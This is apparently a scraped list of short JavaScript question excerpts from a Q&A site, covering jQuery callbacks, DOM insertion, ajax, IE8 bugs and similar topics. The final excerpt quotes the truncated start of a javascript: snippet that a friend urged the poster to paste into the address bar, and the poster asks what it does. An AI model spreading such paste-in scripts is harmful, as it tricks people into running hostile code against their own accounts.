javascript

Passing variables to callback functions

I am trying to write a jQuery plugin, that can be applied to a selector. Within this plugin, there are multiple calls to webservices, where callback methods are required. The problem I am having is maintaining the current context item in the each loop of the selector. (function($){ $.fn.myMethod = function(){ return this.each(fu...

Scanned value(using scanner) in the textbox

Hi All, I am using Scanner(basic model) to scan the barcode. Scanned barcode will be captured in a textbox. In txtBarcode_TextChanged event i am getting the barcode to access. Problem: If i clicked the scanner more than once, the barcode gets append with the previous value. Code: protected void txtBarcode_TextChanged(object sender...

appendChild + createElement

what's the difference between var div = document.createElement('div');//output -> [object HTMLDivElement] document.getElementById('container').appendChild(div); and var div = '<div></div>'; document.getElementById('container').appendChild(div);//output -> <div></div> shouldn't both be the same? and if not, how do i get the 2nd ve...

How expensive are variables in JavaScript?

How expensive are local variables (var v), global variables (window.v) and cross-global variables (parent.v) in JavaScript, in the major browsers? Has anyone performed any good tests on this one? ...

How do i get client details in ASP.NET ie. browser, resolution and OS ?

I need to get client stats for browser (not full long description but short names, generally firefox,ie6,ie7,ie8,safari,chrome,opera and mozilla). Client resolution and OS ie. Windows Vista, Ubuntu .... thanks ...

jquery dynamic id

i use such code to access item function f(id){ $("#"+id).val(); // with analogy $("#id item") } is it correct? is any other methods? ...

Node.js projects/tutorials?

Javascript/Ruby learner here, Is there any Node.js projects/tuts to follow besides creating a chat server? Thanks in advance! ...

getting parameter value from a table using javascript

hi every one; I want to get the parameter in my table(HTLML) table every time the user click edit button. The table contains in each row an edit button like following: retour.append("<td>"); retour.append("<button id=edit name=edit type=button onClick= editarow()>"); retour.appe...

How do can I have a dropdown list(select HTML) where i want to have one of the options where i allow the user to enter a user specif entery?

Hi I want to have a drop down menu where a user can select from several predefined options but i also want to give him the option of inserting a user specific value, i was thinking having one of the options as "user specific" which will in turn allow the user to insert a user specif entry in a text box that appears or is editable when u...

Replacing the Element with specific attribute and its value

<p> lorem ipsum lorem ipsums <font style="background-color:yellow">ipsum</font> ipsume lorem </p> how to replace the <font> tag with <abbr> so the out put will be like this. <p> lorem ipsum lorem ipsums <abbr style="background-color:yellow">ipsum</abbr> ipsume lorem </p> ...

How to create variables dynamiccally in JavaScript

I'm looking for a way to create variables dynamically in javascript eg I have a loop for (i=0;i<15;i++){ } now I need to create variables dynamically eg var "a"+i for eavh value in the loop. Is this possible and how? ...

Problem with function calls [javascript]

<script language="javascript"> function toggle(id) { alert('call'); if (document.getElementById(id).style.display == "none") { alert('now visible'); document.getElementById(id).style.display = ""; } else { alert('now invisible'); document.getElementById(id).style.display = "none"; } } </scr...

drupal + i18n - how to send the currently selected locale to javascript?

I've got a multi-lingual Drupal 6 installation. The multi-language is provided by the i18n module. I'm displaying some date pickers using jquery ui's datepicker. I'd like to localize those datepickers too (so when the page being shown is English, they show 'mon tue wed ...' but when the page is in Spanish they show 'lun mar mi ...'). M...

Detect if objects are loaded [Javascript]

I was wondering, is there a way to detect if a certain image / div is loaded? For example when i am loading two heavy images and showing a loading sign at the two places the images will later occupy, is there a way to already display the first image when it's loaded while still loading the second one? ...

innerHTML bug IE8

This innerHTML code wasn't working reliably in IE8: (but was working in IE6 IE7 FF Opera Chrome Safari) (by not working reliably I mean I had placed this code within onmouseover handlers on various elements, sometimes it would change the text when mousing over a given element and sometimes it wouldn't - there was no pattern to this - whe...

Javascript:history.back is not workin in XUL application

I have created a XUL application, it has got a link for navigating to previous page. This is my link <a href="javascript:history.back();">Back</a>, unfortunately it is not working!!! In firefox is working as expected, when I run it in XUL it is not working. Any idea, why it is not working. Thanks, Rajeesh ...

sending parameters with ajax

I am trying to send parameters that I get from a table in my jsp to other JSP using ajax. I am using the followinf function to send all values to JSP: ajaxForm but I don't know why the send failed every time I run it: Here is the javascript function: function editarow() { var xhr = getXhr(); xhr.onreadystatechange = function()...

Calling another a4j:jsFunction in an a4j:jsFunction oncomplete event

Hi all , I define some java script function which will call the back-end functions using a4j:jsFunction.For example : <a4j:jsFunction name="function1" action="#{Bean1.action1}" oncomplete="function2();"/> <a4j:jsFunction name="function2" action="#{Bean1.action2}" oncomplete="SomeJSFunc2();"/> Then in the a4j:commandButton , I s...

What is the need of JavaScript while developing a page?

I have been developing websites for some time now and I hardly use any Javascript in my pages. Whatever I can want to do with JavaScript, it is possible through PHP. Just like ajax itself. We can send a regular request instead of a ajax request, can't we? We can use "include" to include sub part of pages. So am i missing something abou...

What does this code do

Ok someone who happens to be a good friend of mine is sending me some odd emails lately one of which was a link to a page that asks you to copy and paste this in to your address bar in your browser then execute it ... javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app12587...